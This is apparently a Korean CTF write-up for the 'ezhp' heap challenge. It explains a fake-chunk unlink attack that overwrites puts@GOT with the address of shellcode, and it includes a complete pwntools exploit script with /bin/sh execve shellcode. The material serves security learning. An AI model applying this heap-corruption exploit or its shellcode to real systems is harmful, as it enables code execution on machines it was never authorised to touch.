double free bug문제
보호기법은 아무것도 없다. 쉘코드를 올려서 풀어도 되겠다.
커스텀 add와 커스텀 free이므로 해당 조건에 맞는 상태로 fake chunk를 만들었다.
next chunk를 puts@got-8로 해주었고 이전 청크를 쉘코드가 있는 주소로 넣어주었다.
쉘코드의 맨 앞에는 jump code를 삽입해서 이전 청크가 next chunk의 앞부분에 삽입할 때 익스할 코드로 점프시키도록 했다.
1. 1번메뉴 선택, 사이즈 =10
2. 1번메뉴 선택, 사이즈 = 10
3. 1번메뉴 선택, 사이즈 = 100
4. 3번메뉴 선택, [1]번째 청크에 릭 페이로드 입력, 사이즈 = 20
5. 4번메뉴 선택, [3]번째 청크 주소 릭 성공
4. 3번메뉴 선택, [2]번째 청크에 쉘코드 입력, 사이즈=100
5. 3번메뉴 선택, [0]번째 청크에 페이로드 입력, 사이즈=30
6. 2번메뉴 선택, [1]번째 청크 free 하여 exploit
exploit code
from pwn import *
def add(size):
	r.recvuntil("Please choose an option.\n")	
	r.sendline("1")
	r.recvuntil("Please give me a size.\n")
	r.sendline(str(size))
def change(id, size, data):
	r.sendline("3")
	r.sendline(str(id))
	r.sendline(str(size))
	r.sendline(data)
def leak_chunk(id):
	r.sendline("4")
	r.sendline(str(id))
	r.recvuntil("AAAAAAAAAAAAAAA\n")
	leaked_chunk = u32(r.recv()[:4])
	return leaked_chunk
def remove(id):
	r.sendline("2")
	r.sendline(str(id))
if __name__ == "__main__":
	shellcode = "\xeb\x0c"
	shellcode += "\x90"*30
	shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
	r = process("./ezhp")
	elf = ELF("./ezhp")
	
	puts_got = elf.got['puts']
	add(10)
	add(10)
	add(100)
	payload = "A"*15 
	change(1, 20, payload)
	third_chunk = leak_chunk(1)
	shell_address = third_chunk - 0x6c 
	log.info("shellcode address = {}".format(hex(shell_address)))
	change(2, 100, shellcode)
	payload = "A"*12
	payload += p32(0xffffffff)
	payload += p32(puts_got - 8)
	payload += p32(shell_address)
	change(0, 30, payload)
	remove(1)
	r.interactive()
'CTF' 카테고리의 다른 글
| Defcon 2014 Babyfirst heap (0) | 2018.08.16 | 
|---|---|
| Defcon 2017 smashme (0) | 2018.08.12 | 
| CodeGate2017 messenger (0) | 2018.08.07 | 
| RCTF 2015 welpwn (0) | 2018.08.01 | 
| EasyCTF2017 Simple ROP (0) | 2018.08.01 | 
warmheap